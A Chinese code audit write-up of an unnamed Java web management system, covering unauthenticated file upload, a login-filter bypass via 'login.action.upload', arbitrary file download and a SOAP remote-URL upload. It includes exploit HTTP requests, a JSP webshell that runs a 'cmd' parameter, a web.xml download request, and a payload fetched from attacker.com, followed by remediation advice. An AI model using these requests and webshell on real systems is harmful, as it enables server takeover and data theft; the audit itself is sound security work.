某管理系统代码审计
字数 1295 2025-08-29 22:41:24
某管理系统代码审计与漏洞利用分析
系统概述
该系统是一个基于Tomcat部署的Java Web管理系统,存在多处安全漏洞,包括:
- 前台任意文件上传
- 权限绕过漏洞
- 任意文件下载
- 远程文件上传
漏洞分析
1. 前台任意文件上传漏洞
漏洞位置
- 系统存在一个未鉴权的上传接口
/upload - 对应Servlet在web.xml中配置为:
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>com.example.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>upload</servlet-name>
<url-pattern>/upload</url-pattern>
</servlet-mapping>
漏洞分析
- 使用Apache FileUpload组件处理上传
- 上传流程:
- 实例化DiskFileUpload对象
- 设置临时目录为
/tmpmodel/transfer - 从multipart/form-data请求中获取文件
- 将文件写入
/tmpmodel/transfer目录
- 关键问题:
- 无文件类型检查
- 无路径限制
- 文件名完全可控
利用方法
构造multipart/form-data请求:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<% out.println("Hello World!"); %>
------WebKitFormBoundaryABC123--
上传后文件位于:/tmpmodel/transfer/shell.jsp
2. 权限绕过+文件下载+文件上传漏洞
漏洞位置
- 另一个上传接口匹配
*.upload模式 - 在web.xml中配置:
<servlet-mapping>
<servlet-name>AnotherUpload</servlet-name>
<url-pattern>*.upload</url-pattern>
</servlet-mapping>
权限绕过分析
-
系统鉴权Filter逻辑:
- 检查是否登录
- 检查URL是否包含
/login.action - 如果未登录但URL包含
/login.action则放行
-
绕过方法:
- 构造URL:
login.action.upload - 既匹配
*.upload又包含/login.action
- 构造URL:
任意文件下载
- 漏洞代码特征:
String path = request.getParameter("path");
File file = new File(path);
// 无任何限制直接返回文件内容
- 利用方法:
GET /somepath/login.action.upload?method=download&path=/WEB-INF/web.xml HTTP/1.1
Host: target.com
可控文件上传
-
关键参数:
norename=true:保持原始文件名filename:控制上传后的文件名
-
上传流程:
- 文件路径:
/attachment/store/md5/filename - 当
norename=true时,完全控制文件名和扩展名
- 文件路径:
-
利用方法:
POST /somepath/login.action.upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXYZ456
------WebKitFormBoundaryXYZ456
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: application/octet-stream
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
------WebKitFormBoundaryXYZ456
Content-Disposition: form-data; name="norename"
true
------WebKitFormBoundaryXYZ456--
3. 远程文件上传漏洞
漏洞位置
- WebService接口
uploadFileByUrl - 允许通过URL上传文件
漏洞分析
-
处理流程:
- 从请求获取
url和suffix参数 - 生成文件名:
md5(url) + suffix - 下载URL内容到服务器
- 从请求获取
-
关键问题:
- 完全控制文件后缀
- 无内容安全检查
利用方法
- 在攻击者服务器放置webshell文件
shell.jsp - 构造请求:
POST /services/UploadService HTTP/1.1
Host: target.com
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<ns1:uploadFileByUrl xmlns:ns1="http://service.example.com/">
<url>http://attacker.com/shell.txt</url>
<suffix>.jsp</suffix>
</ns1:uploadFileByUrl>
</soapenv:Body>
</soapenv:Envelope>
- 上传后文件路径通常返回在响应中,格式如:
/somepath/[md5].jsp
漏洞修复建议
-
文件上传漏洞:
- 实施严格的文件类型检查
- 限制上传目录不可执行
- 对上传文件重命名
- 禁止用户控制文件路径
-
权限绕过:
- 修改Filter逻辑,严格匹配URL而非包含检测
- 对
*.upload接口实施独立鉴权
-
文件下载:
- 实施路径白名单
- 检查文件路径是否在允许范围内
-
远程文件上传:
- 禁用或严格限制该功能
- 检查下载文件内容安全性
- 限制可下载的文件类型
总结
该系统存在多处严重漏洞,攻击者可通过组合利用这些漏洞实现:
- 绕过权限验证
- 上传Webshell获取服务器权限
- 下载系统敏感文件
- 通过远程URL上传恶意文件
建议系统管理员立即修复这些漏洞,并全面检查系统其他部分是否存在类似问题。